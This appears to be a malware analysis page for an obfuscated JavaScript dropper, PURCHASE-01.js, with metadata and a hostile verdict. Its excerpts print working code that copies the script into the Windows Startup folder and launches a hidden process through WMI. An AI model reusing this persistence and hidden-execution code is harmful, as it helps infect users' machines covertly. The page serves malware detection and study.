Open-source atomic malware analysis

Analyze another

0da02f091c865f8c8577f9e6baa82dd9126ade41c7eef3968571fad1971a8ae1 01

JAVASCRIPT
Verdict: HOSTILE
AI Self-copying startup persistence and hidden WMI execution
Mal-ecule
O₃(PXeEr)H₄(DbFOs₄Po₂)Md
Size 995.8 KB download
First seen 2 days ago
Analyzed 1 day ago
Ecosystem javascript
Source abuse.ch
Also detected by 1 source
JavaScript self-copies to Startup: PURCHASE-01.js:0x46372
Obfuscated WMI startup creates hidden process: PURCHASE-01.js:0x8a691
WMI hidden process startup: PURCHASE-01.js:0x8a691
PURCHASE-01.js javascript
1 try {
2 this.riveter = this.riveter + "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
3
4 try { this.riveter = this.riveter + "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; } catch(e) { this.riveter = "᥸⊧Ԩ
4158:21 1: this.riveter = this.riveter + "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; break; }
4159
4160 var crwthooo = new ActiveXObject("Scripting.FileSystemObject"); JavaScript self-copies to Startup
4161 var Plantagenetlll = new ActiveXObject("WScript.Shell");
4162 var rabific = WScript.ScriptFullName;
4163 var startupe = Plantagenetlll.SpecialFolders("Startup");
4164 var microtomic = startupe + "\\" + crwthooo.GetFileName(rabific);
4165 if (rabific.toLowerCase() !== microtomic.toLowerCase()) {
4166 if (!crwthooo.FileExists(microtomic)) {
4167 crwthooo.CopyFile(rabific, microtomic);
4168 }
4169 }
4170
4171 var Lothringen = this.riveter || "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; this.rivet
7586:132 �ް⅂������ਛƱ��";
7587
7588 this.riveter = this.riveter + "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
7589
7590 var cockhoop = GetObject(trippinglyKirsty); Obfuscated WMI startup creates hidden process
7591 try { this.riveter = this.riveter + "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; } catch(e) { this.riveter = "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; }
7592
7593 var Lothringen = this.riveter || "᥸⊧Ԩࡔ঳🦸ް⅂⥧�
8253:62 �⅂������ਛƱ��"; } catch(e) { this.riveter = "��⊧Ԩࡔ��🦸��ް⅂������ਛƱ��"; }
8254
8255 var cubangle = couper.SpawnInstance_(); Obfuscated WMI startup creates hidden process
8256 if (this.riveter || this.riveter === "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞") { this.riveter = this.riveter + "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; }
8257
8258 var Lothringen = this.riveter || "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
8348:99 othringen + "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
8349
8350 cubangle.ShowWindow = 0; Obfuscated WMI startup creates hidden process
8351 this.riveter = this.riveter + "᥸⊧Ԩࡔ঳🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
8352
8353 var Lothringen = this.riveter || "᥸⊧

Objectives

Micro-behaviors

Metadata

Identity

SHA-256 0da02f091c865f8c8577f9e6baa82dd9126ade41c7eef3968571fad1971a8ae1
Filename PURCHASE-01.js
Package 0da02f091c865f8c8577f9e6baa82dd9126ade41c7eef3968571fad1971a8ae1
Version 01

Origin

Source harvest
Feed malwarebazaar
Ecosystem javascript
Domain abuse.ch

Timeline

First seen 11 Aug 2026 07:56 UTC
First analyzed 12 Aug 2026 17:32 UTC
Last analyzed 12 Aug 2026 17:32 UTC
Last updated 12 Aug 2026 17:32 UTC

Labeling

Label bad
Label source harvest
Traits version 73866